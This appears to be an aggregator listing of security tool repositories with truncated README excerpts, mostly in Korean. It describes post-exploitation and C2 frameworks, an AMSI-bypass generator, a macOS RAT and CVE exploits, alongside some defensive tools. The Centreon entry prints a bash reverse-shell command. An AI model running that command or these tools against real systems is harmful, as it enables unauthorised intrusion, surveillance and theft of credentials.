MSSQLand

✈️ MSSQLand 마치 비즈니스 클래스 비행에 샴페인 잔을 손에 들고 도착하는 것처럼, 대상 Microsoft SQL Server MS SQL DBMS에 우아하게 착륙하세요. 🥂 MSSQLand는 레드팀 운영자를 위해 제작된 C Microsoft SQL Server MSSQL / MS SQL 포스트 익스플로잇 도구입니다. 비콘예: Cobalt Strike 또는 Havoc에서 execute-assembly 사용, 또는 dotnet 명령을 통해 대상 환경 내에서 직접 실행되도록 설계되었으며, 연결된 서버 체인을 탐색하고, 그...

kubesploit

Kubesploit Kubesploit is a cross-platform post-exploitation HTTP/2 Command & Control server and agent dedicated for containerized environments written in Golang and built on top of Merlin project by Russel Van Tuyl @Ne0nd0g. Our Motivation While researching Docker and Kubernetes, we noticed that...

kubesploit

Kubesploit Kubesploit는 컨테이너화된 환경 전용으로 Golang으로 작성된 크로스 플랫폼 사후 침투 HTTP/2 명령 및 제어 서버 및 에이전트로, Russel Van Tuyl @Ne0nd0g의 Merlin 프로젝트를 기반으로 구축되었습니다. 우리의 동기 도커와 쿠버네티스를 연구하는 동안, 오늘날 사용 가능한 대부분의 도구가 클러스터의 취약점에 대한 수동적 스캐닝에 초점을 맞추고 있으며, 더 복잡한 공격 벡터에 대한 커버리지가 부족하다는 것을 알게 되었습니다. 이러한 도구들은 문제를 볼 수는 있지만 악용하지는 ...

GoAround

GoAround AMSI 우회 생성 및 세 가지 난독화 방법을 사용한 PowerShell 스크립트 자동 난독화를 가능하게 하는 도구입니다. GoAround는 MIT 라이선스로 배포됩니다. 자세한 내용은 LICENSE를 참조하세요. GoAround 책임 부인 설치 사용 설명서 사용 방법 작동 모드 우회 유형 난독화 방법 예제 책임 부인 이 도구는 침투 테스터의 일상적인 사후 침투 작업을 돕고 연구 프로젝트로서 개발되었습니다. 이 도구의 악의적인 사용이나 허가 없이 타사 시스템에서 사용하는 경우 그 책임은 전적으로 사용자에게...

SQLRecon

SQLRecon SQLRecon은 공격적 정찰 및 사후 침투를 위해 설계된 Microsoft SQL Server 툴킷입니다. 각 기술의 사용 방법에 대한 자세한 내용은 wiki를 참조하세요. SQLRecon 사본은 releases 페이지에서 다운로드할 수 있습니다. 또는 직접 솔루션을 컴파일해도 됩니다. 이는 저장소를 클론하고 솔루션 파일을 더블 클릭한 후 빌드하는 것만큼 간단합니다. 방어자를 위한 예방, 탐지 및 완화 가이드도 제공됩니다. IBM Security Intelligence 웹사이트에서 내 블로그 게시물을 확인하세...

CVE-2025-49113-Simulation

Roundcube RCE 실습 환경 CVE-2025-49113 Roundcube Webmail에서 식별된 중요한 인증 후 RCE 취약점CVE-2025-49113을 시뮬레이션하고 익스플로잇하기 위한 실습형 컨테이너 기반 실습 환경입니다. 📖 취약점 정보 이 실습은 Roundcube 웹메일 클라이언트를 대상으로 하는 정교한 공격 체인을 보여줍니다. 이 취약점은 인증 후 원격 코드 실행RCE 으로, PHP 세션 데이터의 부적절한 처리로 인해 발생하며 PHP 객체 역직렬화 로 이어집니다. 인증된 공격자는 악성 PHP 객체를 제작하여...

Quantum-Silicon-Core-Loader

Quantum Silicon Core ローダー プライマリコア: qslcl.asm v0.0.2 開発中 アシスタントモジュール: qslcl.bin v0.7.4 ユニバーサルコントローラ: qslcl.py v2.2.2 法的に保護された研究 - このプロジェクトは、セキュリティ研究、修理する権利、学術の自由に関する確立された法的枠組みの下で運用されています。詳細はこちら 概要 Quantum Silicon Core Loader QSLCL は、ブートローダー、ベンダー、OSレイヤーの後に、シリコン境界で直接動作するポストブートローダーです。...

Roundcube-1.6.10-Post-Auth-RCE-CVE-2025-49113-

🚨 취약점 보고서: Roundcube Webmail의 CVE-2025-49113 ⚠️ 중요 공지 — 책임 있는 사용 이 자료는 교육 및 연구 목적으로만 제공됩니다. 여기에 설명된 정보와 도구를 모든 불법 또는 악의적인 활동에 사용하는 것은 엄격히 금지됩니다. 저자는 이 콘텐츠의 오용에 대해 책임을 지지 않습니다. 이 저장소는 Roundcube Webmail 1.6.10까지의 버전에 영향을 미치는 PHP 객체 역직렬화로 인한 치명적인 원격 코드 실행RCE 결함인 CVE-2025-49113 취약점에 대한 상세 보고서를 포함하고...

CVE-2024-57366

CVE-2024-57366 익스플로잇 MAC 주소 검증 우회와 명령어 삽입을 통해 취약한 라우터에서 원격 코드 실행을 가능하게 하는 CVE-2024-57366용 견고한 익스플로잇입니다. 이것은 인증 후post-authorization 익스플로잇으로, 라우터의 "Remote Control" 기능이 켜져 있어야 하며 관리자 비밀번호가 필요합니다. 관리자 사용자 이름은 "admin"으로 하드코딩되어 있습니다. 🚀 기능 자동 MAC 주소 등록 - WiFi에 연결하여 라우터에 MAC 주소를 등록 네트워크 보존 익스플로잇 - 익스플로잇...

laurel

Linux Audit – 사용 가능하고, 견고하며, 쉬운 로깅 LAUREL은 auditd8을 위한 이벤트 후처리 플러그인으로, 현대적인 보안 모니터링 설정에 적합한 유용하고 강화된 JSON 기반 감사 로그를 생성합니다. 최신 안정 릴리스에 해당하는 문서는 여기에서 찾을 수 있습니다. 왜? TLDR: 다음과 같은 감사 이벤트 대신… type=EXECVE msg=audit1626611363.720:348501: argc=3 a0="perl" a1="-e"...

Crater-CVE-2023-46865-RCE

Crater-CVE-2023-46865-RCE Crater =6.0.6, CVE-2023-46865 인증 후 RCE 슈퍼관리자 취약점 설명 Crater Invoice는 적절한 입력 검증이 없어 위험한 유형의 무제한 파일 업로드에 취약합니다. Base64Mime 검사 클래스는 IDAT 이미지 청크에 유효한 PHP 페이로드를 내장하여 우회할 수 있습니다. 슈퍼관리자 권한이 있는 사용자는 /api/v1/company/upload-logo에서 회사 로고를 통해 조작된 페이로드를 업로드할 수 있습니다. 사용법 $ usage: pytho...

Bella

Bella Bella는 macOS용 순수 파이썬 기반의 사후 침투 데이터 마이닝 도구 및 원격 관리 도구입니다. 🍎 💻 무엇인가요? Bella는 강력한 순수 파이썬 기반의 macOS 사후 침투 및 원격 관리 도구입니다. Bella는 일명 서버로, macOS 10.6 이상을 실행하는 모든 시스템에 배포할 수 있는 SSL/TLS 암호화 리버스 셸입니다. Bella는 다음과 같은 기능을 제공합니다: 1. SSH 인스턴스를 에뮬레이트하는 의사 TTY 대부분의 함수에 대한 Ctrl+C 지원, 스트리밍 출력, 인라인 bash 스크립팅 완...

CVE-2019-19699

CVE-2019-19699 Centreon = 명령어 기타로 이동합니다. 아래 이미지와 같이 추가 를 클릭합니다. 이제 bash 리버스 셸 을 Miscellaneous 명령어로 생성합니다. !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 그리고 저장 을 클릭합니다. 이제 설정 Pollers로 이동한 후 현재 Central 폴러를 클릭합니다. 이것은 폴러 구성 수정 메뉴에 접근할 수 있게 해줍니다. 여기서 아래로 스크롤하여 재시작 후 명령어 를 설정할 수 있습니다. 이전에 생성한 리버스 셸 을 선택하고...

pict

PICT - 감염 후 수집 툴킷 이 스크립트 세트는 감염이 의심되는 엔드포인트에서 다양한 데이터를 수집하여 사고 대응 프로세스를 지원하도록 설계되었습니다. 이 데이터는 완전한 포렌식 데이터 수집으로 간주되어서는 안 되지만, 많은 유용한 포렌식 정보를 캡처합니다. 진정한 포렌식 데이터를 원한다면 전체 메모리 덤프를 캡처하고 전체 드라이브를 이미징해야 합니다. 이는 이 툴킷의 범위를 벗어납니다. 사용 방법 스크립트는 라이브 시스템에서 실행되어야 하며, 이미지나 다른 포렌식 데이터 저장소에서는 실행되지 않아야 합니다. 실행에 roo...

PE_CVE-CVE-2021-3156

PECVE-CVE-2021-3156 Ubuntu 20.04용 CVE-2021-3156 익스플로잇, 간단하고 자동화된 사후 침투 스크립트로 향상됨 루트 셸 외에도 다음을 얻을 수 있습니다: -서버에 구성된 모든 idrsa SSH 키가 포함된 .txt 파일. 스크립트 참조: getallsshkeys.sh -모든 사용자가 루트 셸을 시작할 수 있는 privshell 실행 파일 gcc 오류 수정 중. 스크립트 참조: createprivshell.sh PECVE-CVE-2021-3156에 대한 PoC. 요구 사항 성공적인 결과를 얻으려...

ADRecon

https://github.com/adrecon/ADRecon 에서 다운로드 ADRecon: 액티브 디렉터리 정찰 ADRecon은 AD 환경에서 다양한 아티팩트아래에 강조됨를 추출하고 결합하는 도구입니다. 정보는 특별히 포맷된 Microsoft Excel 보고서로 제공될 수 있으며, 여기에는 분석을 용이하게 하고 대상 AD 환경의 현재 상태에 대한 전체적인 그림을 제공하기 위한 요약 보기와 메트릭이 포함됩니다. 이 도구는 감사자, DFIR, 학생, 관리자 등 다양한 보안 전문가에게 유용합니다. 또한 침투 테스터에게는 귀중한 사...

Instagram-Crawler

인스타그램 크롤러 비 API. 사용자 이름, 해시태그별로 게시물사진, 좋아요, 댓글, 날짜 ... 크롤링 설치 1. Chrome 브라우저가 설치되어 있는지 확인하세요. 2. chromedriver를 다운로드하여 driver 폴더에 넣으세요: ./driver/chromedriver 3. 요구사항 설치 pip install -r requirements.txt 예시: 결과: ./data 폴더 아래 사용자 이름 'instagram'에서 처음 10개의 사진과 정보 다운로드 $ python3 crawl.py -q 'instagram' -...

sqlwinds

SQLWinds SQL 보안 평가 및 사후 침투 도구 키트 SQLWinds는 Microsoft SQL Server의 보안 테스트와 익스플로잇을 위한 명령줄 도구입니다. 서버를 심층 분석하고, 권한을 상승시키고, 공격을 실행하고, 네트워크를 통해 피벗할 수 있는 대화형 환경을 제공하며, 인메모리 코드 실행 및 SCCM 데이터베이스 탐색과 같은 작업을 위한 특화된 명령을 포함합니다. 📖 문서 및 리소스 빠른 링크: 전체 문서 및 위키 - 전체 사용 가이드 및 명령 참조 이슈 신고 - 버그를 발견했거나 기능 요청이 있으신가요? 최신...

lab-cve-2016-15042

CVE-2016-15042 – WordPress Frontend File Manager & N‑Media Post Front‑end Form 未認証ファイルアップロード PoC ラボ CVE-2016-15042 を検証・デモするための、完全に再現可能な Docker 化ラボ: Frontend File Manager nmedia-user-file-uploader v3.7 脆弱なバージョン 4.0 N‑Media Post Front‑end Form wp-post-frontend v1.0 脆弱なバージョン 1.1...

Phoenix-Framework

Phoenix-Framework Phoenix은 신뢰할 수 있는 사이트를 C2로 악용하는 비동기 기반의 포스트 익스플로잇 프레임워크입니다. 지원 플랫폼 Phoenix는 현재 다음 플랫폼을 Bot API를 통해 지원합니다: Discord Telegram Reddit 곧 제공 예정 Phoenix는 다음과 같은 기본 기능을 제공합니다: 문자열 난독화 채팅에서 사용자가 업로드한 첨부 파일 자동 다운로드 포렌식 분석을 어렵게 하기 위한 자체 파괴 기능 윈도우 제목 캡처 기능이 포함된 키로깅 웹캠 및 데스크탑 캡처 및 라이브 스트리밍...